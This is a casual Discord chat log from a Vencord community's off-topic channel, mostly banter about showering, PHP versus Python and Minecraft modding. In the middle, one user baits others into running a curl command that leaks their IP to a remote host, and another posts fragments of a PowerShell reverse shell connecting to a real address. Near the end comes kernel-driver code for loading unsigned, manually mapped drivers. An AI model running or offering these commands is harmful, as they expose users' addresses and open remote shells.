#π§-off-topic-iceman-only
noble quest
dusty goblet
Meowww
paper gate
hi @digital kettle
digital kettle
hai
paper gate
am eepy
paper gate
forbidden
digital kettle
Pretty good hbu cutie
am fine,,, but ur the cutie
twilit portal
github ci 
cerulean dune
the only thing i hate about gtkcord is not being able to paste images from clipboard
deep token
meow
paper gate
meow
digital kettle
the only thing i hate about gtkcord is not being able to paste images from clipb...
discord uses 2GB ram
cerulean dune
why does everyone here meows
unreal siren
Nya~
unreal siren
Mrrp~
raw panther
mrrp mrraow
cerulean dune
discord uses 2GB ram
electron app moment
golden swan
.fm
fading lanceBOT
paper gate
.fm
fading lanceBOT
stark herald
@paper gate zeetboy
cerulean dune
even on ff
ok well i suppose they just have too much stuff in their app
their stupid games and stuff
deep token
why does everyone here meows
because we are normal
lucid marten
<@289556910426816513>
why do you have the im new thingy even tho you joined months ago
deep token
hiii
cerulean dune
because we are normal
define normal
augh i don't have embed permission, i wanted to send something here
digital kettle
:patpatpat:
paper gate
why do you have the im new thingy even tho you joined months ago
they're new
dusty goblet
am fine,,, but ur the cutie
That's nice :3 and nop u r,,,,
lucid marten
define normal
its normal here they mean
tame thorn
@paper gatehttps://cdn.discordapp.com/attachments/1018171581891092521/1199454805739962449/3npr8lqt98371.png?ex=65c29a56&is=65b02556&hm=76f0ef968f972078b466c286af4b252e01c1dc5872ddb70a4d3e718ca16a5228&
dusty goblet
That's nice :3 and nop u r,,,,
Just had to look at myself I can visually confirm thst I am not cute
tame thorn
whar
paper gate
@tame thorn
lucid marten
they're new
π
tame thorn
iosevka nf
cerulean dune
iosevka as UI font?
i use fira
for ui, of course. i use iosevka for the terminal
WHATSAPP SHUT THE FUCK UP I WONT DO YOUR SURVEY
viral cape
i am soggy
wet cat
candid blaze
i hated showering
are you american
dusty goblet
i hated showering
I didn't shower since last year 
candid blaze
I didn't shower since last year <:blobcatcozy:1026533070955872337>
you're truly european ffs
horror
lime talon
are you american
i am not
dusty goblet
you're truly european ffs
I was joking π
open pasture
dusty goblet
Rule violator spotted
candid blaze
assediador
raw panther
you're truly european ffs
you really think ed is stinky like that
dusky vortex
i cant remember last time we showered 
mostly because we have a shit memory though
candid blaze
you really think ed is stinky like that
can't tell
dusty goblet
My parents would kick me out if I didn't shower at least every second day lol
deep token
i cant remember last time we showered <:husk:1026532993923293184> mostly because...
go shower mf
raw panther
i shower three times a day
bad for skin if you really did that which I don't believe
candid blaze
bad for skin if you really did that which I don't believe
hot showers are bad for skin
dusty goblet
So annoying
candid blaze
i don't take hot showers often
lime talon
oh holy shit i just saw another set of pirates
raw panther
I might skip shower today and do it in the morning, so eepy already
lime talon
or maybe singular
dusty goblet
I shower hot enough for physical pain most of the time lol
lucid marten
hot shower or mildly hot and then cold is the best
lime talon
right next to a real station
candid blaze
what's a 107.1
lime talon
radio
candid blaze
we do not talk about 7x1... π©πͺ
dusty goblet
I might skip shower today and do it in the morning, so eepy already
I can't shower at fucking 4:45 am tho π
dusty goblet
we do not talk about 7x1... π©πͺ
BRA71L
candid blaze
NOP
cerulean dune
i just realized
my camera kinda has the pride flag π
it's just missing the purple color
stripe
line
whatever
lime talon
oh it's weak now
lucid marten
my camera kinda has the pride flag π
π³οΈβπ
lucid marten
all in the exact order
like the camera is that color or the lens has a flare or something?
cerulean dune
it's on the camera itself
lucid marten
oh nice
cerulean dune
hang on
AH FUCK i can't send images
does anyone know a good image hosting site whatever
hang on
desert goblet
https://fixupx.com/thr/status/137006770362134528?s=46 holy shit guys i canβt believe it
desert goblet
weβre finally getting a woody woodpecker movie
dusky vortex
https://fixupx.com/thr/status/137006770362134528?s=46 holy shit guys i canβt bel...
ANOTHER ONE?
i cant tell if thats the joke actually
lucid marten
https://files.catbox.moe/no2lvu.png
cerulean dune
and like
since it's a film camera
the film packs have this sticker on it to pull it out of the camera when it is empty
lucid marten
https://fixupx.com/thr/status/137006770362134528?s=46 holy shit guys i canβt bel...
not real
cerulean dune
and i slapped one of those stickers on to my laptop
raw panther
desert goblet
i cant tell if thats the joke actually
look at the twitter posts date 
cerulean dune
nuh uh
dusky vortex
Oh....
lucid marten
open pasture
cerulean dune
wow wtf happened there
raw panther
world geometry gon
lime talon
fourr
one
fiverr
oblique
zero
zero
cerulean dune
?
granite lily
vendor
cerulean dune
i had the ikea panda
cerulean dune
you will
cerulean dune
windows for servers?
granite lily
windows server 2003
deep token
meow
stark herald
@lime talon @lime talon send pfp
granite lily
2008 r2*
eager marsh
guysss what should i make my website look like do i not use css at all and just do pure html or do something very simplistic
granite lily
huhhhh
glossy swallow
guysss what should i make my website look like do i not use css at all and just ...
ms paint style
cerulean dune
guysss what should i make my website look like do i not use css at all and just ...
very simplistic id say
lime talon
<@1098624489832587357> <@1098624489832587357> send pfp
i don't have the full thing on pc
i'll just link the tumblr post, gimme a min to find it
cerulean dune
very simplistic id say
that's what i did
dusty goblet
I don't even hab to go to ikea anymore for my blahaj
Just need to get it home somehow lmao
stark herald
i don't have the full thing on pc
i'll just link the tumblr post, gimme a min to...
oki
granite lily
show
granite lily
xd
cerulean dune
how do you crash your wallpaper
granite lily
java.nio.file.FileSystemException: D:\Desktop\New folder\minecraft\src\com\mojang\rubydung: The process cannot access the file because it is being used by another process.
eager marsh
very simplistic id say
okk
cerulean dune
oh that thing
cerulean dune
did i just broke retromcp
wtf is retromcp
granite lily
tool to decompile mc pre-1.5.2
cerulean dune
tool to decompile mc pre-1.5.2
okay...
glossy swallow
mcp π
granite lily
i need to decompile rd-132211 and im lazy to use decompiler
incineration process begins
glossy swallow
i need to decompile rd-132211 and im lazy to use decompiler
i manually decompiled minecraft classic and fixed every error a while ago xd
desert goblet
they just like me fr
glossy swallow
used mappings tho
glossy swallow
makes it slightly easier
lime talon
this wobbly little shit
glossy swallow
and mapped everything yourself
now there's an idea
glossy swallow
i'm currently trying to create an agent to fix problems on old versions of minecraft
granite lily
cool
glossy swallow
that's what i was talking about in #π§©-plugin-development
"need" to unload libs at runtime (there's probably a smarter way to do it)
granite lily
me when 5 contributions in private repositories
glossy swallow
is this my profile?
granite lily
yes
glossy swallow
i just sometimes keep projects private before i finish them xD
nova delta
i just noticed the ram stick broken in half and in different slots
glossy swallow
i haven't even commited to this
glossy swallow
so idk where the five is coming from, i only did 4 commits in one private repository...
granite lily
yipeee
glossy swallow
so many dumb mineraft projects π
granite lily
my rd-132211 direct clone can load og level.dat
(i cloned og rd-132211 source code on c# )
glossy swallow
wtf
lime talon
so idk where the five is coming from, i only did 4 commits in one private reposi...
initial commit:
glossy swallow
initial commit:
no initial commit
i was trying to write python so i called the repo anaconda because it was the first thing that came to mind
π
pht9on
granite lily
anaconda.com in question
glossy swallow
not sure how much i like python after using it though...
granite lily
sperent
glossy swallow
apparently php is faster than python
ripe willow
apparently php is faster than python
Yeah but threading in PHP is a hassle
pthread is disabled by default
and you have to compile PHP
to enable it
At least it used to be in php 5.4
glossy swallow
Yeah but threading in PHP is a hassle
how good is pypy
ripe willow
I haven't touched pthreads since then
granite lily
i need to copy pick method code to render code fucking again
cerulean lance
not sure how much i like python after using it though...
/run
import sys
import io
import re
import random
def uwuify(text):
text = re.sub(r'[lr]', 'w', text)
text = re.sub(r'([.!?])', r'\1 uwu', text)
text = re.sub(r'you', 'yuw', text)
faces = ["(γ»`ΟΒ΄γ»)", "UwU", "(*β§Οβ¦)", "(ｑβ₯βΏβ₯ｑ)", "(βΛβ ββΏβ βΛβ)", "(* >Ο<)"]
text = re.sub(r'[.!?]', lambda x: random.choice(faces) + ' ' + x.group(), text)
return text
output = io.StringIO()
sys.stdout = output
import this
sys.stdout = sys.__stdout__
zen_of_python = output.getvalue()
print(uwuify(zen_of_python))```
hollow flumeBOT
Here is your py(3.10.0) output @cerulean lance
The Zen of Python, by Tim Petews
Beautifuw is bettew than ugwy(* >Ο<) . uwu
Expwicit is bettew than impwicitUwU . uwu
Simpwe is bettew than compwex(ｑβ₯βΏβ₯ｑ) . uwu
Compwex is bettew than compwicated(*β§Οβ¦) . uwu
Fwat is bettew than nested(ｑβ₯βΏβ₯ｑ) . uwu
Spawse is bettew than dense(* >Ο<) . uwu
Readabiwity counts(βΛβ ββΏβ βΛβ) . uwu
Speciaw cases awen't speciaw enough to bweak the wuwes(*β§Οβ¦) . uwu
Awthough pwacticawity beats puwity(γ»`βΟΒ΄γ») . uwu
Ewwows shouwd nevew pass siwentwy(*β§Οβ¦) . uwu
Unwess expwicitwy siwenced(*β§Οβ¦) . uwu
In the face of ambiguity, wefuse the temptation to guess(γ»`βΟΒ΄γ») . uwu
Thewe shouwd be one-- and pwefewabwy onwy one --obvious way to do it(*β§Οβ¦) . uwu
Awthough that way may not be obvious at fiwst unwess yuw'we Dutch(βΛβ ββΏβ βΛβ) . uwu
Now is bettew than nevew(* >Ο<) . uwu
Awthough nevew is often bettew than *wight* now(βΛβ ββΏβ βΛβ) . uwu
If the impwementation is hawd to expwain, it's a bad idea(*β§Οβ¦) . uwu
If the impwementation is easy to expwain, it may be a good idea(*β§Οβ¦) . uwu
Namespaces awe one honking gweat idea -- wet's do mowe of thoseUwU ! uwu
horror
granite lily
bypass? 
glossy swallow
/run
```py
import sys
import io
import re
import random
def uwuify(text):
te...
import this
ripe willow
Yah, if I'm too lazy to set up a headless browser install and hit that with a nodejs script and something like puppetteer
I just use that python library
fro solving the JS challenge
on cloudflare
hollow flumeBOT
Here is your js(18.15.0) output @burnt maple
Yes β definitely x3
oh wait im fucking idiot i applied fix to temp code and removed it
open pasture
:3
open pasture
tyyyy
deep token
meow
granite lily
glFog is weird
eager marsh
simply fantastic
granite lily
haiii :3
eager marsh
i think this is enough
granite lily
yipeee
stark herald
watch me predict message id
/run ```js
function time2snow(timestamp) {
const snowflake = ((BigInt(timestamp) - 1420070400000n) << 22n).toString();
return snowflake;
};
console.log(time2snow(Date.now()));
rd-132211 clone is finished
hollow flumeBOT
Here is your js(18.15.0) output @stark herald
1200136314591117312
stark herald
noo
elder geyser
hiii
ripe willow
Mood
granite lily
me when timestamp
elder geyser
/run
fn main() {
println!(βmeowβ)
}
@elder geyser I received rs(1.68.2) compile errors
error: unknown start of token: \u{201c}
--> file0.code:2:10
|
2 | println!(βmeowβ)
| ^
|
help: Unicode characters 'β' (Left Double Quotation Mark) and 'β' (Right Double Quotation Mark) look like '"' (Quotation Mark), but are not
|
2 | println!("meow")
| ~~~~~~
error: unknown start of token: \u{201d}
--> file0.code:2:15
|
2 | println!(βmeowβ)
| ^
|
help: Unicode character 'β' (Right Double Quotation Mark) looks like '"' (Quotation Mark), but it is not
|
2 | println!(βmeow")
| ~
error: format argument must be a string literal
--> file0.code:2:11
|
2 | println!(βmeowβ)
| ^^^^
|
help: you might be missing a string literal to format with
|```nno its not completely about the timestamp it got it wrong by a bit
granite lily
lmao
cerulean dune
lmao
eager marsh
Here is your js(18.15.0) output <@843448897737064448>
```
1200136314591117312
``...
its off !!!!!
stark herald
i simply tried luck
harsh minnow
elder geyser
<@696593747353534544> I received rs(1.68.2) compile errors
```
error: unknown st...
I LOVE IOS SO MUCH
ripe willow
/run
```rs
fn main() {
println!(βmeowβ)
}
```
I use "meow" as a all my uh
script exit debug points
I forgot to move them
last time I had a meeting
elder geyser
THANK YOU FOR MANGLING MY QUOTATION MARKS IOS
elder geyser
panic!(βmeowβ)
cerulean lance
/run ```py
import random
random.seed(177013)
choice = ["yes","no"]
def ask(x):
return random.choice(choice)
ask("will I ever get a girlfriend")
Your py(3.10.0) code ran without output @cerulean lance
cerulean lance
guh
elder geyser
xd
cerulean lance
/run ```py
import random
random.seed(177013)
choice = ["yes","no"]
def ask(x):
print(random.choice(choice))
ask("will I ever get a girlfriend")
Here is your py(3.10.0) output @cerulean lance
no
#π€-bot-commands
granite lily
hi vee
elder geyser
hello vee
granite lily
vee came back just to say to use commands in #π€-bot-commands
cerulean dune
mfw the chat channel comes #bot
desert goblet
cerulean lance
there are a lot of other things you didn't notice
cerulean lance
2005
granite lily
there are a lot of other things you didn't notice <:trolley:1024751352028602449>
WHAT THE FUCK DID YOU DO TO CPU
granite lily
cerulean lance
WHAT THE FUCK DID YOU DO TO CPU
ripe willow
it's just like fully exposed with no heat sync
did we really do this
back in the day?
granite lily
ripe willow
I gotta go in to a meeting but
is that corrosion from
a leaky capacitor
or what the fuck
is that black mess
lavish relic
hii
raw panther
wagoo wagoo :3
cerulean lance
is that black mess
used to be a PCI
granite lily
wagoo wagoo
dusty goblet
Nice voice
lavish relic
wagoo wagoo :3
wagoo wagoo
lavish relic
Mraow haiii
mrep
lavish relic
am fine just writing stuff :>
cerulean dune
have you all ever entered a lucid dream?
stark herald
im drinking lemonade monster it taste like lemon π
cerulean dune
have you all ever entered a lucid dream?
ive entered twice but woke up immediately
rapid viper
life would be so good with typescript uiua
dusty goblet
am fine just writing stuff :>
That's cool
lucid marten
granite lily
i dont have linox
ripe willow
socat
syn ack
yeah I make 'em throw it back :3
lucid marten
https://www.youtube.com/watch?v=eoq2e4h_avs
why is the animatiojn so good
dusty goblet
Jokes on you I disabled the network service
cerulean dune
after that
cerulean lance
someone run this code: curl https://fuckingreviewme.literallyafuckingjsonfile.workers.dev/${curl ipconfig.io}
cerulean dune
whatever you type, it pipes it into my shell?
cerulean dune
whatever you type, it pipes it into my shell?
so... can you even see whatever is displayed on the shell?
okay
cerulean lance
cerulean dune
wtf happened?
elder geyser
XD
cerulean dune
numver 9
elder geyser
pty?
granite lily
@open pasturedid you got message?
lime talon
northwest to 4, FEO:IHJSRGJSHRGILJSNRGLKJSDF:O
elder geyser
no but like. sh cant run without a pty
granite lily
i disconnected
cerulean dune
what is a pty
granite lily
i didnt run your script
cerulean lance
not getting anything
lucid marten
https://www.youtube.com/watch?v=eoq2e4h_avs
this channel is crazy good wth. yt recommend is sometimes actually good
lucid marten
this channel is crazy good wth. yt recommend is sometimes actually good
@mallbat
cerulean lance
good try, you're trying to figure out if I have a regex to check for ips or not
not exactly
won't work
you passed 1 of my 5 checks
granite lily
$TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT);
New-Object: Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine actively refused it. [::ffff:194.164.16.230]:9001"
stark herald
:3
brittle granite
`under Object.values Promise.all`
NO
granite lily
no i wont run your script
brittle granite
object.values wont return a list of promises wtf
paper gate
@rapid viper hi
rapid viper
HOW DO YOU WANT FROMVALUES TO WORk
under would recognize Object.values and under would take care of it
bold wren
@paper gate @rapid viper @brittle granite
paper gate
@bold wren fawner
rapid viper
under isnt real in the first place its progbably imposib;
brittle granite
@bold wren @bold wren
rapid viper
its such a great idea tho
its such a common thing to reach for for me
im going to make under typescript library
soonβ’οΈ
brittle granite
Map<Function, Function>
granite lily
run
rapid viper
this is so impossible
granite lily
wait
granite lily
okay i did run it
glacial crest
why vencord is getting uninstalled when i restart my pc
granite lily
why vencord is getting uninstalled when i restart my pc
skill issue
slim ledge
why vencord is getting uninstalled when i restart my pc
skill issue
granite lily
:3
if ($TCPClient.Connected -and $Code.Length -gt 1)
{
[Console]::WriteLine($Code);
$StreamWriter.Write(":3");
$Code = $null
}
Whats vencord
glacial crest
Whats vencord
vendor*
paper gate
@unreal siren
glacial crest
STOP SPAMMING IN MY CONSOLE
how can i spam too?
unreal siren
@paper gate
paper gate
<@289556910426816513>
Koishaksuahzae
dense scarab
is there a type of translator on vencord
unreal siren
Koishaksuahzae
Zeeeeeeeeet
unreal siren
is there a type of translator on vencord
Yes
unreal siren
Theres also a type of #π₯-vencord-support-π₯
unreal siren
whats the plug in called
Just search for βtranslateβ smh
dense scarab
lime talon
holy shit
helsinki vantaa
met report
helsinki vantaa
is that a finland reference
granite lily
i connected to you from another terminal
open pasture
Hi.
granite lily
stop ignoring me
brittle granite
@rapid viper ron jumpscare
rapid viper
<@454072114492866560> ron jumpscare
what the
granite lily
like yesterday
rapid viper
ron INSANe
granite lily
$StreamWriter.Write("QWASUG780DI-AIUDA8S90DU9AUSGHKDASDASDASAHD8U9AI0O-P=DS]ADUASG7U9DI0O-A]DAIUG7Y8U9I0");
brittle granite
this is so funny eframe stores the hash<string, string> on ron
and the values are also rons
granite lily
LMAO
rapid viper
ron is so interesting
brittle granite
ron is just json but rusty
elder geyser
<@454072114492866560> ron jumpscare
what terminal emu is that
brittle granite
alacritty
cerulean lance
yeh
ripe willow
I feel less dumb now that my team lead is stuck on the same issue i'm stuck on
clever wyvern
is there away to add own plugins to ven?
deep token
hiiiii luna :3
hiii
open pasture
soooo eepy
eep
ripe willow
@paper gate
paper gate
@ripe willow
raw panther
it's 20:34 here and I'm going to bed because eepy
paper gate
paper gate
@open pasture hi
open pasture
hi
dusty goblet
it's 20:34 here and I'm going to bed because eepy
It's 1h earlier here and my alarm goes off in 9h
granite lily
me when No connection could be made because the target machine actively refused it. [::ffff:194.164.16.230]:9001
dusty goblet
And I'm not in bed
raw panther
It's 1h earlier here and my alarm goes off in 9h
paper gate
yes
dusty goblet
And I'm not in bed
I'll probably get like 4h sleep tonight π₯
cerulean lance
good try
paper gate
@cerulean lance hi
cerulean lance
<@712639419785412668> hi
junior kayak
hey uh I have a question, on the vencord client page for linux I saw that there was a theme they were using that was similar to the one on the website. I was wondering if anyone had that theme so that I could use it by any chance?
Thank you very much π
elder geyser
looks like all ipv4 addresses
no ipv6??? cringe
granite lily
imagine ipv6
granite lily
ex[lod'
elder geyser
rapid viper
its probably not every ipv4
it would be a lot bigger
not enough cpu usage
multithread it
cerulean dune
eugh wtf
rapid viper
yea i read 'fuck lets read that wrong'
elder geyser
python moment xd
cerulean lance
@rapid viper rate my gaming rig
cerulean dune
MORE
real skiff
hes back
rapid viper
are u storing them in memory all at once
elder geyser
are u storing them in memory all at once
yes he is
elder geyser
this is why you learn memory management, kids
ripe willow
this is why you learn memory management, kids
MY first task at the company I work for
was to parse the BGP routing lists of all 5 regional registrars
the RIPE database is a 5gb .txt file compressed
rapid viper
use a PID controller to determine chunk size
ripe willow
and I parsed it line by line in PHP
no multithreading
My initial method was to load it all in to memory
deep token
ipv6 my goat
nooo
ripe willow
that 5gb file
elder geyser
My initial method was to load it all in to memory
jesus christ
deep token
i hate ipv6
elder geyser
i hate ipv6
WTF
dusty goblet
@open pasture run this
from string import printable
from itertools import permutations
d = list(permutations(printable, 16))
print(d)
if ur program is fast enough i doubt multithreading will help tbh
deep token
my isp uses ipv6
rapid viper
disk write speed would probably be slower than a single thread can generate ipv4s
deep token
and it breaks one blob saving site i used
elder geyser
if ur program is fast enough i doubt multithreading will help tbh
python multithreading sucks
dusty goblet
Wait you let it die LMAO
rapid viper
python multithreading sucks
python performance
deep token
and it breaks one blob saving site i used
thats why i hate ipv6 @elder geyser
rapid viper
π
brittle granite
python has no multithreading
dusty goblet
Yeah because your memory was completely full
dusty goblet
Lmfao
stark herald
@paper gate you're 256 years old
elder geyser
https://tenor.com/view/cat-girl-maja-cute-cat-hi-gif-27526874
ME
dusty goblet
https://tenor.com/view/cat-girl-maja-cute-cat-hi-gif-27526874
patpat
dusty goblet
Also me
ripe willow
oh my god
rapid viper
python has no multithreading
soon
deep token
this is no longer vencord it's vencat
ripe willow
my sysadmin/team lead and I just spent 50 minutes debugging a problem
to find out we've been compareing a string
with an int
dusty goblet
this is no longer vencord it's vencat
So true
ripe willow
for 50 minutes
dusty goblet
Lmao
rapid viper
i love codespaces without type systems
summer wolf
Return of the femboy channel: When?
brittle granite
no
ripe willow
i love codespaces without type systems
I blame the pythn dev
we're sending stuff to python
and then getting it back in php
ripe willow
python dev thinks integers are strings
php has types
I even define functions with types
rapid viper
php does NOT HAVE TYPES
ripe willow
function mooFunction() : bool {
}
rapid viper
DO NOT SAY THIS
dusky vortex
Return of the femboy channel: When?
who are you and how do you know about this
dusty goblet
blame urself for using an untyped language
Type it and run mypy as pre-commit hook with --strict, problem solved 
dusky vortex
gonna waterboard you, keep aware
rapid viper
its worse than saying python has types
ripe willow
its worse than saying python has types
Have you ever seen Serpent?
it's a python inspired langiagew with types
hardware threads not ideal
ty
rapid viper
i googled serpent it looks like it doesnt have types
dynamic typing doesnt count
because im biased and those arent real types
rapid viper
static types are real types
granite lily
dynamic typing should disintegrate from the reality
static typing is only real typing
cerulean dune
idk the difference
granite lily
Warning IL2104 : Assembly 'OpenTK.Windowing.Desktop' produced trim warnings.
ripe willow
granite lily
oh it didnt run
rapid viper
THIS IS JUST
granite lily
lmao
ripe willow
rapid viper
A DYNAMIC LANGUAGE
glossy swallow
no languages have types
rapid viper
OF COURSE IT HAS VALUE TYPES
glossy swallow
it's just a load of memory
granite lily
Unhandled exception. System.MissingMethodException: OpenTK tried to auto-load the OpenGL bindings. We found the OpenTK.Graphics.OpenGL.GL class, but we could not find the 'LoadBindings' method. If you are trying to run a trimmed assembly please add a [DynamicDependency()] attribute to your program, or set NativeWindowSettings.AutoLoadBindings = false and load the OpenGL bindings manually.
brittle granite
@rapid viper fuck you https://doc.rust-lang.org/std/any/trait.Any.html
rapid viper
LMAO
elder geyser
chat
elder geyser
js
rapid viper
wrong
ripe willow
English
rapid viper
wrong
elder geyser
brainfuck
elder geyser
cpu microcode
ripe willow
hex
glossy swallow
<@454072114492866560> fuck you https://doc.rust-lang.org/std/any/trait.Any.html
whh
ripe willow
does assembly have tyypes?
rapid viper
ok i think bf is right
granite lily
even c# has dynamic type
rapid viper
cpu microcode is wrong
glossy swallow
why not use void *
elder geyser
does assembly have tyypes?
kind of
rapid viper
yea most instruction sets have types
elder geyser
why not use void *
i love memory unsafety
rapid viper
i was hoping someone would say lambda calculus
brittle granite
typed lambda calculus exists
rapid viper
undo
feral dock
Anyone here knows English?
brittle granite
lambda calculus like renal calculus
cerulean dune
Anyone here knows English?
sorry we bilmiyoruz
rapid viper
lambda calculus like renal calculus
NO
feral dock
Like, is "The picture stolen is for someone" even a real sentence?
brittle granite
lamda stones
glossy swallow
my dad copied an URL with > instead of /s because that's how google renders it π
feral dock
does it ring any alarms.
native ruin
what if you
wanted to play borderlands 2
but god said
https://cdn.discordapp.com/attachments/390001802126557186/1200153312671055934/gWFYF1U.png?ex=65c524df&is=65b2afdf&hm=71308b15ca6d22e44aef947ddbc5c15f3622b104348bd856d7b11a19feff5cff&
ripe willow
my dad copied an URL with `>` instead of `/`s because that's how google renders ...
"genders it"
wow
rapid viper
std::any is so goated
ripe willow
google misgendering that link
ripe willow
std::any is so goated
auto is also goated
granite lily
what if you
wanted to play borderlands 2
but god said
https://cdn.discordapp.com...
install visual c++ runtime bro
ripe willow
but I don't use it
glossy swallow
google misgendering that link
transgender brain
brittle granite
auto is not any
rapid viper
auto is goated but in a real sense
ripe willow
defined everywhere
rapid viper
any is goated in a funny sense
native ruin
install visual c++ runtime bro
already did
rapid viper
auto is what variable declaration SHOULD be
glossy swallow
defined everywhere
it has its use
ripe willow
auto is what variable declaration SHOULD be
just use php
digital kettle
my phone has "i dont know" in my contacts lmao
glossy swallow
auto Γ¦ = [] {};
likes using "auto"
does not like using "php"
digital kettle
i have alot of strangers that i dont remember
rapid viper
DO YOU KNOW WHAT AUTO IS
brittle granite
rust let is auto
glossy swallow
```c++
auto Γ¦ = [] {};
```
afaik the only other option would be to use something like std::function which is a wrapper
ripe willow
Not in the true type sense, but I know what it allows me to do
I can define a variable
an an auto
dusty goblet
my phone has "i dont know" in my contacts lmao
I have basically no contacts in my phone
ripe willow
and make it a string
or a int
or a bool
or uint64_t
or whatever the fuck I want
rapid viper
yea but its still statically typed
ripe willow
because pure laziness
rapid viper
its not some "any" type
ripe willow
auto = lazy
brittle granite
its just infer this
ripe willow
php = lazy
ripe willow
c++'s any type is std::unique_ptr<void>
PVOID
ripe willow
I love pvoid
brittle granite
void************
ripe willow
void\*\*\*\*\*\*\*\*\*\*\*\*
I'll take your pointer
rapid viper
THIS IS TERRIBLE
glossy swallow
shared pointers and unique pointers are basically the same in behaviour in a lot of cases... seems shared_ptr<void> works
open pasture
i want more credit cards
ripe willow
you cannot be sane on a team
but I do most of my development alone
glossy swallow
void\*\*\*\*\*\*\*\*\*\*\*\*
void*&
ripe willow
I'm not workign with the team
rapid viper
become sane then
open pasture
whats a good credit card for the americans here
digital kettle
i hate geforce now
native ruin
guess im playing tf2 again
glossy swallow
php is just better than python
ripe willow
extern "C" NTSTATUS NTAPI MmCopyVirtualMemory(PEPROCESS SourceProcess, PVOID SourceAddress, PEPROCESS TargetProcess, PVOID TargetAddress, SIZE_T BufferSize, KPROCESSOR_MODE PreviousMode, PSIZE_T ReturnSize);
if you don't like pvoid
you're doing it wrong
dusty goblet
i hate geforce now
Get an amd gpu
dusty goblet
php is just better than python
No
ripe willow
php is just better than python
Probably depends on your use case, there is some stuff where unfortunately I must use python over php
But I will do my best
to use PHP over python
whereverpossible
cerulean lance
php is just better than python
take it back.
ripe willow
most of my IoT exploitation scripts that got me my name
πͺ
are all PHP
Which is how you know if it's mine
dusty goblet
Php is awful
deep token
meow
swift scaffold
can anyone suggest me a cute theme for vencord? something that's cute adorable and fully themed
what are yall using
rapid viper
discord dark theme
open pasture
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rapid viper
its pretty cute
open pasture
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ripe willow
Php is awful
PHP is a fine language.
It does what it's supposed to, and I hardly ever have problems because of the language.
If it's not working, it's because I fucked up
open pasture
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ripe willow
If my C isn't working
It's because that shit is terrible
cerulean lance
php more like personal home shit
digital kettle
my name is κΉλΆμ-ιε―θ»Ύ
open pasture
my name is κΉλΆμ-ιε―θ»Ύ
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lime talon
guess where in the world this is coming from based on that i'm in the UK and it's very clear
cerulean lance
my name is κΉλΆμ-ιε―θ»Ύ
my name is κΉλΆμ-ιε―θ»Ύ yo
open pasture
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cerulean lance
why does everyone hate php
why does everyone hate north korea
such a good country
jaunty trellis
dusty goblet
@jaunty trellis cutie :3
jaunty trellis
@dusty goblet cutie :3
glossy swallow
why does everyone hate north korea
what's wrong with north korea (apart from the obvious thing)
candid blaze
what's wrong with north korea (apart from the obvious thing)
it's korean /j
ripe willow
cus they've never used it and are just bandwagoning
dusty goblet
<@708275751816003615> cutie :3
Meow~
ripe willow
PHP is a fine language, there is nothing wrong with it.
It can get messy if you don't know how to keep your code clean
but so can C
cerulean lance
<@712639419785412668> are you javascript because you look pretty minified
are you c because you have a pointer to my heart
rapid viper
why does everyone hate php
php is just backend js
candid blaze
php is bizarre js
cerulean lance
php is bizarre js
JoJo reference
jaunty trellis
rapid viper
as a runtime nodejs is probably better than php
glossy swallow
lol i just find it funny because python has a lot of quirks but people don't hate that as much...
candid blaze
JoJo reference
could be
granite lily
yay i built it
ripe willow
as a runtime nodejs is probably better than php
I wouldn't really compare them
granite lily
i had to write extra 2 lines to my code to build my app with trimmed assemblies π₯
now it takes only 15 mb
instead of 67
candid blaze
rapid viper
why they're both backend languages
ripe willow
15mb
glossy swallow
as a runtime nodejs is probably better than php
just use facebook's π³οΈββ§οΈ transpiler
ripe willow
set some settings
granite lily
compressed to 7z and now it weights only 4 mb!!!!
ripe willow
and you're 50kb
cerulean lance
/run ```py
import random
random.seed(177013)
choice = ["yes","no"]
def ask(x):
print(random.choice(choice))
ask("is PHP good")
Here is your py(3.10.0) output @cerulean lance
no
true
rapid viper
just use facebook's π³οΈββ§οΈ transpiler
what
glossy swallow
/run
import random##
choice = ["yes","no"]
def ask(x):
print(random.choice(choice))
ask("is PHP good")
Here is your py(3.10.0) output @glossy swallow
yes
wha
candid blaze
see
rapid viper
isnt their thing like hack
ripe willow
/run ```py
import random
random.seed(177013)
choice = ["yes","no"]
def ask(x):
...
Sorry, I don't use languages with tab based errors
candid blaze
quit cheating @glossy swallow
glossy swallow
i didn't cheat
granite lily
btw, it is self-contained, so you dont need to install .net 8.0
glossy swallow
i didn't modify the code at all apart from adding a #
that couldn't possibly affect the result
candid blaze
u cheated..
cerulean lance
/run ```py
import random
random.seed(177013)
choice = ["yes","no"]
def ask(x):
print(random.choice(choice))
ask("is PHP good")
Here is your py(3.10.0) output @cerulean lance
no
see
candid blaze
see
cerulean lance
no
glossy swallow
using a seed is cheating
candid blaze
editing is also cheating
glossy swallow
i didn't edit
candid blaze
u can't lie well
ripe willow
NTSTATUS DriverInit(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pUnicodeString) {
UNREFERENCED_PARAMETER(pUnicodeString);
NTSTATUS ntStatus;
ntStatus = CreateIoCtl(pDriverObject);
if (NT_SUCCESS(ntStatus)) {
_pDriverObject = pDriverObject;
log::info(true, true, "IOCTL Created. Returning.");
pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateCall;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseCall;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoCtl;
pDriverObject->DriverUnload = UnloadDriver;
pDevice->Flags |= DO_DIRECT_IO;
pDevice->Flags &= ~DO_DEVICE_INITIALIZING;
}
else {
log::info(true, true, "Failed to create IOCTL. Returning.");
}
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pUnicodeString) {
UNREFERENCED_PARAMETER(pDriverObject);
UNREFERENCED_PARAMETER(pUnicodeString);
NTSTATUS ntStatus = STATUS_SUCCESS;
log::info(true, true, "Meower Loadeding. :3 Nyaaaa~");
if (pDriverObject == NULL) {
log::info(true, true, "Driver Object Null.");
NTSTATUS createStatus = IoCreateDriver(&driverName, DriverInit);
}
else {
NTSTATUS ntStatus = DriverInit(pDriverObject, pUnicodeString);
}
return ntStatus;
}
Is your driver unsigned?
Did you manual map it because you can't load it otherwise?
Look no further, with this example
You can take an improperly loaded driver, and create yourself a new driver object
!!!!
granite lily
horror
granite lily
watemelo
dusty goblet
i didn't edit
"I didnt edit" she says while being in a server where literally half the ppl have a logger
harsh minnow
wait is there 500mb upload limit now
candid blaze
i do not
candid blaze
wait is there 500mb upload limit now
